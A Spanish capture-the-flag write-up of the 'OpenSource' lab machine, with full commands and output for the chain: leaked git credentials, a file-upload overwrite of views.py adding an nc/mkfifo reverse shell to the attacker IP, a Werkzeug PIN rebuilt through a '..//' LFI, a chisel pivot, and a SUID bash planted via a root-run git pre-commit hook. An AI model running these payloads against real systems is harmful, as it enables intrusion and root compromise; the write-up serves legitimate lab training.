OpenSource
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El80sirve una app Flask que ofrece descargar su propiosource.zip. El zip trae un repo git con una ramadevcuyo historial filtradev01:Soulless_Developer#2022. El código (views.py) sube ficheros conos.path.join(base, filename): si el nombre empieza por/, descarta la base y escribe en ruta absoluta, así que se sobrescribe/app/app/views.pycon una ruta/shellmaliciosa → RCE comorootdentro de un contenedor Docker (alternativa documentada: reconstruir el PIN del debugger de Werkzeug vía un LFI con..//). Desde el contenedor, el host172.17.0.1expone un Gitea en el3000; con chisel se reenvía, se entra reusando las credenciales dedev01y se saca suid_rsa→ SSH comodev01(user). Pararoot, un cron ejecutagit-sync(ungit commit) como root sobre el repo dedev01: un hookpre-commitconchmod u+s /bin/bashdaroot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.164
64 bytes from 10.10.11.164: icmp_seq=1 ttl=63 time=114 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un barrido a todos los puertos TCP solo encuentra dos abiertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.164 -oG scan
Discovered open port 80/tcp on 10.10.11.164
Discovered open port 22/tcp on 10.10.11.164
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63extractPorts resume el fichero -oG y deja los puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.164
Open ports: 22,80El resultado se puede contrastar sin nmap, con un script propio que abre sockets a pelo. La idea es la de siempre (echo '' > /dev/tcp/<ip>/<port> con timeout), pero lanzando 100 en paralelo para que no tarde una eternidad:
nano portsDiscovery.sh
cat portsDiscovery.sh
chmod +x portsDiscovery.sh
#!/bin/bash
# Colours
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
function ctrl_c(){
echo -e "\n\n${redColour}[!] Saliendo... ${endColour}\n"
tput cnorm; exit 1
}
# Ctrl+C
trap ctrl_c INT
tput civis # Ocultar el cursor
echo
counter=0
top_counter=100
for port in $(seq 1 65535); do
if [ $counter -eq $top_counter ]; then
echo -e "\n${yellowColour}[+]${endColour}${grayColour} Lanzando 100 hilos ${top_counter}/65535${endColour}\n"
wait
let top_counter+=100
fi
timeout 1 bash -c "echo '' > /dev/tcp/10.10.11.164/$port" 2>/dev/null && echo -e "${yellowColour}[+]${endColour}${grayColour} Puerto${endColour}${blueColour} $port${endColour} ${grayColour}- OPEN${endColour}" &
let counter+=1
done; wait
tput cnorm#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm; exit 1
}
trap ctrl_c INT
tput civis # Ocultar el cursor
counter=0
top_counter=100
for port in $(seq 1 65535); do
if [ $counter -eq $top_counter ]; then
echo -e "\n[+] Lanzando 100 hilos [$top_counter/65535]\n"
wait
let top_counter+=100
fi
timeout 1 bash -c "echo '' > /dev/tcp/10.10.11.164/$port" 2>/dev/null && echo -e "[+] Puerto $port - OPEN" &
let counter+=1
done; wait
tput cnorm./portsDiscovery.sh
[+] Lanzando 100 hilos [100/65535]
[+] Puerto 22 - OPEN
[+] Puerto 80 - OPEN
[+] Lanzando 100 hilos [200/65535]
^C
[!] Saliendo...El trap ctrl_c INT es lo que permite cortarlo a mitad sin dejar el cursor oculto ni cien procesos colgando. Mismos dos puertos que nmap, esta vez sin depender de ninguna herramienta.
Un -sCV dirigido sobre esos dos revela SSH y una app Flask (Werkzeug) en el 80:
nmap -p22,80 -sCV 10.10.11.164
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Werkzeug/2.1.2 Python/3.10.3Werkzeug + Flask es relevante: arrastra de fondo posibles LFI, SSTI y, sobre todo, el debugger interactivo si está en modo debug.
TCP 80 - Enumeración web
whatweb confirma lo que ya apuntaba el -sCV y pone nombre a la aplicación:
whatweb 10.10.11.164
http://10.10.11.164 [200 OK] Bootstrap, HTTPServer[Werkzeug/2.1.2 Python/3.10.3],
IP[10.10.11.164], JQuery[3.4.1], Python[3.10.3], Script,
Title[upcloud - Upload files for Free!], Werkzeug[2.1.2]Wappalyzer añade la pieza que whatweb deja implícita: por debajo del Werkzeug hay un Flask 2.1.2 sobre Python 3.10.3.

Web frameworks Flask 2.1.2
Web servers Flask 2.1.2
Programming languages Python 3.10.3
JavaScript libraries jQuery 3.4.1
UI frameworks BootstrapEsas dos versiones exactas van a hacer falta más adelante, cuando haya que reconstruir el PIN del debugger: el algoritmo del PIN cambió entre versiones de Werkzeug, y la ruta de flask/app.py depende de la versión de Python.
La aplicación se llama upcloud y su función es subir ficheros, así que el vector probable es la subida. El código fuente de la portada añade el matiz que lo confirma y, de paso, delata la ruta de descarga:

<h3 class="display-3">Welcome to upcloud!</h3>
<p>Transfer files for free & share them without registration with your friends</p>
<h2>Simple</h2>
<p>upcloud is flexible, and scales well. Uploaded files can be shared across users in seconds with a
simple link. Since we are big fans of the KISS principle, there is no authentication required in our
system, so you don't have to remember complicated passwords.</p>
<a href="/download" class="btn btn-primary my-2">Download</a>"There is no authentication required in our system": la propia web anuncia que cualquiera puede subir ficheros. Un barrido de rutas con dirsearch destapa dos endpoints que llaman la atención, /download y /console:

gobuster con un diccionario grande (220.000 palabras) confirma que no hay nada más: esos dos son toda la superficie.
gobuster dir -u http://10.10.11.164 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/download (Status: 200) [Size: 2489147]
/console (Status: 200) [Size: 1563]
Progress: 220564 / 220565 (100.00%)El /console de 1563 bytes es la consola del debugger de Werkzeug (volveremos a ella); el /download de 2,4 MB es el botón de la portada, que entrega un source.zip con el código fuente de la propia aplicación:

Fuga de credenciales en el repo git
Se descomprime el source.zip y aparece el proyecto entero, incluido el Dockerfile y el build-docker.sh (la app corre en un contenedor, dato que importará después):
mv ~/Downloads/source.zip .
unzip source.zip
ls
Dockerfile app build-docker.sh config source.zipUn ls -a revela lo que el ls normal escondía: el zip trae también un directorio .git, es decir, el historial completo del desarrollo. El git log de la rama activa solo tiene dos commits inocuos, pero git branch delata que existe otra rama, dev:
ls -a
cd .git
git log
git branch
.git Dockerfile app build-docker.sh config source.zip
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
initial
dev
* publicLa rama publicada se llama literalmente public y la otra dev: alguien separó lo que quería enseñar de lo que no. Inspeccionando los commits de dev aparece un .vscode/settings.json con un http.proxy que lleva credenciales embebidas:
git log dev --oneline
git show a76f8f7
"http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/"Credenciales dev01:Soulless_Developer#2022. Lo barato es probarlas donde antes: el SSH del 22.
ssh dev01@10.10.11.164
The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
dev01@10.10.11.164: Permission denied (publickey).Permission denied (publickey) no significa que la contraseña sea mala: significa que el servidor ni siquiera pide contraseña, porque su PasswordAuthentication está desactivado y solo admite clave pública. La credencial puede seguir siendo buena en otro sitio, así que se guarda para más tarde (y de hecho acabará sirviendo); el vector de entrada está en la web.
Shell como root (contenedor)
La instancia de pruebas
La portada, además del Download, ofrece un botón Take me there! que lleva a la instancia real de upcloud (/upcloud), que es donde se sube de verdad:

Try upcloud
To explore the full extent of upcloud, please checkout the links below.
For setting up, download and unzip the package if you haven't already.
[ Download ]
You wanna take some time to explore the interface? We also provide immediate access to an upcloud test
instance.
[ Take me there! ]Y esa instancia es, sencillamente, un formulario de subida:

Drag & Drop to Upload File
OR
[ Browse File ]
[ Upload! ]Vía 1: Abuso de os.path.join al subir ficheros
Como tenemos el código fuente, no hay que adivinar cómo trata la subida: en app/app/views.py la ruta destino se construye con os.path.join(os.getcwd(), "public", "uploads", file_name). Leído el código, se comprueba el comportamiento en un intérprete de Python local:
cat views.py
python3
# views.py
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)La trampa de os.path.join en Python: si un componente empieza por /, descarta todo lo anterior.
>>> os.path.join(os.getcwd(), "public", "uploads", 'test')
'/home/krmena/machines/opensource/content/app/app/public/uploads/test'
>>> os.path.join(os.getcwd(), "public", "uploads", '/test')
'/test'
>>> os.path.join(os.getcwd(), "public", "uploads", '/etc/passwd')
'/etc/passwd'Es decir, si el nombre del fichero subido empieza por /, escribimos en ruta absoluta (con los permisos del proceso web). El objetivo: sobrescribir el propio views.py con una versión que añada una ruta /shell que ejecute una reverse shell.
Se prepara el views.py malicioso con un @app.route('/shell'):
@app.route('/shell')
def cmd():
return os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f')Es una copia literal del views.py original con esas tres líneas añadidas al final, para no romper el resto de rutas de la aplicación:

Para cambiar el filename hay que interceptar la petición, así que se apunta el navegador a Burp con FoxyProxy y se activa el Intercept antes de tocar el formulario:

Se elige el views.py preparado en el diálogo de subida y se pulsa Upload!:

La petición queda retenida en Burp, y ahí se sustituye el filename por la ruta absoluta /app/app/views.py:

Flask recarga el módulo (modo debug) y, al pedir /shell, dispara la conexión:
sudo nc -nlvp 443
curl http://10.10.11.164/shell
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.164] 37633
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # hostname
0a1890d96160La shell entra como root, pero es el root de un contenedor Docker (lo confirmaremos enseguida). El hostname 0a1890d96160 (un ID hexadecimal de 12 dígitos) es la firma típica de un contenedor.
El tratamiento de TTY habitual no vale aquí, y eso ya dice mucho de dónde estamos: la imagen es tan mínima que no trae script ni bash.
script /dev/null -c bash
which bash
/app # script /dev/null -c bash
/bin/sh: script: not found
/app # which bash
/app #Lo que sí hay es Python, así que el PTY se levanta con pty.spawn sobre el /bin/sh disponible:
python3 -c 'import pty;pty.spawn("/bin/sh")'
# Ctrl+Z
stty raw -echo; fg
reset xtermY al ajustar el terminal aparece el mismo patrón: ni stty escrito de memoria funciona a la primera, y el SHELL que se exporta es /bin/sh, no bash, porque bash no existe en la imagen.
export TERM=xterm SHELL=/bin/sh
stty rows 49 cols 236
/app # export TERM=xterm SHELL=/bin/sh
/app # stty rows 49 cols 236
/app #Vía 2 (alternativa): PIN del debugger de Werkzeug vía LFI
El /console que encontró el gobuster es la consola interactiva del debugger de Werkzeug, que aparece cuando Flask corre en modo debug. No está abierta: pide un PIN.

Interactive Console
In this console you can execute Python expressions in the context of the application. The initial
namespace was created by the debugger automatically.
Console Locked
The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on
the standard output of your shell that runs the server.
PIN: [ ] [ Confirm Pin ]Ese PIN se imprime en la salida estándar del servidor, que no vemos. Pero no es aleatorio: Werkzeug lo deriva de un puñado de valores del sistema, así que con una lectura de ficheros se puede reconstruir.
La lectura sale del propio código que ya descargamos. La segunda ruta de views.py, /uploads/<path:path>, devuelve el fichero que se le pida pasándolo por el mismo os.path.join:

@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))El saneo lo hace get_file_name, en app/app/utils.py, y ahí está el fallo:

def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)recursive_replace borra ../ en bucle hasta que no queda ninguna, así que los trucos habituales (....//) no sirven. Pero borra la cadena exacta ../, y en ..//etc/passwd lo que hay antes de la barra doble es .. seguido de /, que tras eliminar el primer / deja /etc/passwd intacto. Sumado al os.path.join de antes (la ruta absoluta descarta el prefijo), sale un path traversal completo. El --path-as-is evita que curl normalice la ruta por su cuenta:
curl 'http://10.10.11.164/uploads/..//etc/passwd' --path-as-is
FileNotFoundError: [Errno 2] No such file or directory: '/app/public/uploads/etc/passwd'
// Werkzeug Debugger
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "534BYAciSYtKhHS9xZrr";
...
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...Con la LFI ya se puede leer cualquier fichero, pero hace falta saber cuáles. La receta está documentada en HackTricks, que es la referencia habitual para este tipo de metodología:

Buscando werkzeug dentro de la wiki, el resultado es exactamente la sección que hace falta:

80,443 - Pentesting Web Methodology » Werkzeug / Flask Debug » Werkzeug Console PIN Exploit [Book]
generated PIN matches the one expected by the Werkzeug console. tip If you are on an old version of
Werkzeug, try changing the hashing algorithm to md5 instead of sha1.La página trae el script que genera el PIN y, sobre todo, la lista exacta de ingredientes: los probably_public_bits (usuario del proceso, nombre del módulo, clase de la app y ruta de app.py) y los private_bits (la MAC de la interfaz en decimal y el machine-id):

probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', ...)
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None)
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]Antes de reconstruirlo, merece la pena descartar el atajo: como tenemos el repositorio entero, ¿estará el PIN escrito en algún sitio? Un grep recursivo sobre .git solo devuelve una coincidencia, y dentro de un objeto binario comprimido, donde la palabra Pin aparece por casualidad entre bytes.
grep -ri 'PIN' .git
grep -ri 'PIN' .git --text
# grep -ri 'PIN' .git
grep: .git/objects/77/3ad95c56f8321eb4901736930024ec517a948a: binary file matchesEl PIN no está en el repositorio: es un valor que Werkzeug calcula en cada arranque, así que hay que calcularlo igual que él.
Es decir: cada uno de esos seis valores se obtiene leyendo un fichero concreto de la víctima, y para eso tenemos la LFI. Los probably_public_bits salen de /proc/self/environ (el usuario) y de la propia traza de error (la ruta de flask/app.py); los private_bits, de /sys/class/net/eth0/address (la MAC, que hay que convertir a decimal) y del machine-id, que en un contenedor no está en /etc/machine-id sino que se compone de /proc/sys/kernel/random/boot_id más la línea de /proc/self/cgroup.
Uno de esos valores no hace falta ni leerlo de un fichero: la ruta de flask/app.py la regala la propia página de error del debugger. Y provocar el error es tan simple como pulsar Upload! sin haber elegido ningún fichero:

Flask intenta guardar en la ruta del directorio y revienta, mostrando la traza completa con la ruta exacta del Flask instalado:

IsADirectoryError: [Errno 21] Is a directory: '/app/public/uploads/'
File "/usr/local/lib/python3.10/site-packages/flask/app.py", line 2095, in __call__
File "/app/app/views.py", line 25, in upload_file
f.save(file_path)Con eso ya se pueden rellenar los probably_public_bits: el usuario es root (lo confirmó la propia consola más adelante, y es lo habitual en estos contenedores), el módulo y la clase son los que trae el propio script, y la ruta es la que acaba de regalar el traceback.

probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', ...)
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None)
]Los private_bits sí hay que leerlos de la víctima, uno a uno, con la misma LFI. Son tres lecturas y una conversión:
curl 'http://10.10.11.164/uploads/..//sys/class/net/eth0/address' --path-as-is
curl 'http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id' --path-as-is --ignore-content-length
curl 'http://10.10.11.164/uploads/..//proc/self/cgroup' --path-as-is --ignore-content-length
python3
# MAC de eth0
02:42:ac:11:00:08
# boot_id
d61d40ac-4c0e-41c1-aafd-b5d1e0db2cc7
# /proc/self/cgroup (el id del contenedor se repite en cada línea)
1:name=systemd:/docker/c148d21b6789606062a55a5ff65f4b6db35129fba2a126cb779cfcc51709bba0
# la MAC, en decimal
>>> print(0x0242ac110008)
2485377892360El --ignore-content-length no es adorno: /proc declara tamaño 0, así que sin esa opción curl corta la respuesta. Y el machine-id del contenedor no es un valor suelto, sino la concatenación del boot_id con el identificador que aparece en el cgroup.
Con los seis valores reunidos se rellena el script (ajustando la versión de Python, que aquí es la 3.10 y no la 3.5 del ejemplo, y dejando sha1 como algoritmo porque el Werkzeug es reciente):

nano werkzeugPinGenerator.py
python3 werkzeugPinGenerator.py
# python3 werkzeugPinGenerator.py
359-435-058El PIN que imprime, 359-435-058, es el que acepta el diálogo:

Con él se desbloquea /console, y ahí ya hay un intérprete de Python dentro del proceso de la aplicación. Un os.popen("whoami") confirma que corre como root, y el mismo one-liner de reverse shell devuelve la conexión:
>>> import os
>>> os.popen("whoami").read().strip()
>>> os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f").read()
[console ready]
>>> import os
>>> os.popen("whoami").read().strip()
'root'
>>> os.popen("hostname").read().strip()
'c148d21b6789'
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.164] 33165
/bin/sh: can't access tty; job control turned off
/app # whoami
rootEs una segunda ruta al mismo punto, y merece la pena conocerla porque el debugger de Werkzeug expuesto es un patrón que se repite en cualquier Flask mal desplegado.
Shell como dev01 (host)
Docker breakout: localizar el host
La shell es de un contenedor. El ip a lo confirma: la interfaz es una eth0 en la 172.17.0.0/16, el rango por defecto del bridge de Docker, y con MAC 02:42:..., el prefijo que Docker asigna a sus contenedores. En esa red el .1 es siempre el host, y responde:
ip a
ping -c 1 172.17.0.1
16: eth0@if17: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0
PING 172.17.0.1 (172.17.0.1): 56 data bytes
64 bytes from 172.17.0.1: seq=0 ttl=64 time=0.064 msEl ttl=64 sin decrementar confirma que el host está a un salto, en la misma red. Ahora hay que ver qué expone, y en el contenedor no hay nmap. El truco habitual de bash (/dev/tcp) tampoco vale aquí, porque la shell del contenedor es la sh de BusyBox y ese pseudo-dispositivo es una extensión de bash:
echo '' > /dev/tcp/172.17.0.1/22
nc 172.17.0.1 22 -zv
/app # echo '' > /dev/tcp/172.17.0.1/22
/bin/sh: can't create /dev/tcp/172.17.0.1/22: nonexistent directory
/app # nc 172.17.0.1 22 -zv
172.17.0.1 (172.17.0.1:22) openLo que sí hay es nc, así que se recorren los puertos con él:
for port in $(seq 0 65535); do nc 172.17.0.1 $port -zv; done
172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
...
172.17.0.1 (172.17.0.1:6007) openEl 22 y el 80 ya los conocíamos desde fuera, pero el 3000 es nuevo: no estaba en el escaneo inicial, lo que significa que solo escucha en la interfaz interna de Docker. Ese puerto es el típico de Gitea. Para alcanzarlo desde el atacante se reenvía con chisel (servidor en el atacante, cliente en la víctima):
El binario se saca de los releases del repositorio, eligiendo la compilación linux_amd64 que encaja con la arquitectura de la víctima:

Assets (82)
chisel_1.11.3_checksums.txt
chisel_1.11.3_darwin_amd64.gz 4.07 MB
...
chisel_1.11.3_linux_amd64.gz 4 MBSe descomprime, se renombra y se sirve por HTTP desde el atacante:
cp /home/krmena/Downloads/chisel_1.11.3_linux_amd64.gz .
gunzip chisel_1.11.3_linux_amd64.gz
mv chisel_1.11.3_linux_amd64 chisel
python3 -m http.server 80
# ls
chisel_1.11.3_linux_amd64 werkzeugPinGenerator.py
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...El binario de chisel se sirve desde el atacante y se baja al /tmp del contenedor, que es donde hay permiso de escritura:
# víctima (contenedor)
wget http://10.10.16.6:8000/chisel
chmod +x chisel
ls
/tmp # wget http://10.10.16.6:8000/chisel
Connecting to 10.10.16.6:8000 (10.10.16.6:8000)
saving to 'chisel'
chisel 100% |*********************| 9.7M 0:00:00 ETA
'chisel' saved
/tmp # chmod +x chiselCon el binario a ambos lados se monta el túnel inverso: el servidor escucha en el atacante y el cliente, desde el contenedor, publica el 3000 del host Docker:
# atacante
./chisel server --reverse -p 1234
# víctima (contenedor)
./chisel client 10.10.16.6:1234 R:3000:172.17.0.1:3000
# ./chisel server --reverse -p 1234
2025/10/01 15:17:22 server: Reverse tunnelling enabled
2025/10/01 15:17:22 server: Fingerprint G4PXonM/XbF4erXYjlcpcGWX7O93uMjv7onHopbO+rg=
2025/10/01 15:17:22 server: Listening on http://0.0.0.0:1234
/tmp # ./chisel client 10.10.16.6:1234 R:3000:172.17.0.1:3000
2025/10/01 13:17:58 client: Connecting to ws://10.10.16.6:1234
2025/10/01 13:18:00 client: Connected (Latency 102.346167ms)El túnel se comprueba en el atacante: el 3000 local ya lo tiene abierto el proceso de chisel.
lsof -i:3000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chisel 343997 root 8u IPv6 983955 0t0 TCP *:3000 (LISTEN)Gitea: reutilización de credenciales → id_rsa
En 127.0.0.1:3000 hay un Gitea. Aquí es donde por fin sirve la credencial que el SSH rechazó: las dev01:Soulless_Developer#2022 filtradas en el repo git entran sin problema (reutilización de credenciales: una credencial hallada se prueba en todos los servicios, porque reutilizarlas es lo habitual).

localhost:3000/user/login?redirect_to=%2f
Sign In
Username or Email Address: dev01
Password: Soulless_Developer#2022
[ Sign In ]Entre sus repos privados hay una clave SSH privada:

Se guarda la clave, permisos 600 y SSH como dev01 (esta vez al host, no al contenedor):
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
System load: 0.0 Processes: 221
Usage of /: 75.6% Users logged in: 0
Memory usage: 22% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
dev01@opensource:~$ whoami
dev01El banner confirma el salto: esta sesión ve eth0 con la 10.10.11.164 (la IP pública de la máquina) y docker0 con la 172.17.0.1 (el gateway del contenedor del que veníamos). Ya estamos en el host.
La flag de usuario:

a71e70c716926e21589a7979cfcbdee2Escalada a root
Cron git-sync + hook pre-commit
Sin pistas obvias en sudo -l, se monitorizan los procesos con un script en bash (a falta de pspy (repo)):
#!/bin/bash
old=$(ps -eo command)
while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep '[<>]' | grep -vE 'command|procmon|kworker'
old=$new
done
Ejecutándolo y esperando, el cron aparece solo:

> /usr/sbin/CRON -f
> /bin/sh -c /usr/local/bin/git-sync
> /bin/bash /usr/local/bin/git-sync
> git push origin main
> /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
...Aparece un cron que ejecuta /usr/local/bin/git-sync como root. El script hace un git add/git commit sobre el repo de /home/dev01:
cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fiAquí entra el abuso de git hooks: git ejecuta scripts (hooks) antes o después de ciertas acciones. La documentación de GTFOBins lo recoge como técnica genérica, y el ejemplo usa precisamente el hook pre-commit:

Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit
action is used. Any other hook will work, just make sure to be able perform the proper action to trigger
it. An existing repository can also be used [...]
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m xAquí no hay que crear el repositorio: ya existe el de /home/dev01, y es sobre él sobre el que el cron de root hace el commit. Un pre-commit se ejecuta justo antes de cada commit y con el usuario que lo lanza, así que basta con plantarlo en .git/hooks/ (donde solo hay ficheros .sample, inertes hasta que se les quita la extensión):
cd ~/.git/hooks/
ls
echo 'chmod u+s /bin/bash' > /home/dev01/.git/hooks/pre-commit
chmod +x /home/dev01/.git/hooks/pre-commit
dev01@opensource:~$ la
.bash_history .bash_logout .bashrc .cache .git .gnupg .local .profile .ssh user.txt
dev01@opensource:~/.git$ ls
branches COMMIT_EDITMSG config description FETCH_HEAD HEAD hooks index info logs objects refs
dev01@opensource:~/.git/hooks$ ls
applypatch-msg.sample commit-msg.sample fsmonitor-watchman.sample post-update.sample
pre-applypatch.sample pre-commit.sample prepare-commit-msg.sample pre-push.sample
pre-rebase.sample pre-receive.sample update.sampleEn el siguiente ciclo del cron, root hace el commit, dispara el hook y /bin/bash queda SUID. bash -p mantiene el EUID 0:

dev01@opensource:~/.git/hooks$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
dev01@opensource:~/.git/hooks$ bash -p
bash-4.4# whoami
rootY con el euid de root, la flag final:
cat /root/root.txt
bash-4.4# cat /root/root.txt
963098253644abed21aa182010b1aa08Cadena de ataque
nmap (22, 80 Flask/Werkzeug)
└─> /download → source.zip → .git (rama dev) → dev01:Soulless_Developer#2022
└─> views.py: os.path.join con nombre absoluto → sobrescribir /app/app/views.py
├─> @app.route('/shell') → reverse shell como root (CONTENEDOR)
└─> (alt) LFI ..// → PIN de Werkzeug → /console → shell
└─> docker breakout: 172.17.0.1:3000 Gitea + chisel
└─> login Gitea (dev01) → id_rsa → ssh dev01 (HOST) + user.txt
└─> cron git-sync (root) → hook pre-commit → chmod u+s /bin/bash
└─> bash -p → root.txtLecciones aprendidas
os.path.joines una trampa clásica de Python: si un componente controlado por el usuario empieza por/, descarta la base. Pasar el nombre del fichero subido directo aos.path.joinpermite escritura arbitraria (y aquí, sobrescribir el propio código de la app).- El código fuente filtrado lo cambia todo. Un
source.zipcon un.gitrevela ramas (dev), historial y credenciales que no se ven en producción. Siempre revisar todas las ramas (git log --all,git show). - El PIN del debugger de Werkzeug es reconstruible, no una barrera: con una LFI que lea unos pocos ficheros (
boot_id,cgroup, MAC, usuario) se regenera. Nunca dejar Flask en modo debug en producción. - Un root en Docker no es el root del host. Reconocer el gateway (
172.17.0.1), enumerar sus puertos y reenviar con chisel es el patrón de pivote desde contenedor. - Los git hooks convierten un
git commitautomatizado en ejecución de código. Si un proceso privilegiado hace commits sobre un repo donde puedes escribir, unpre-commites RCE como ese usuario.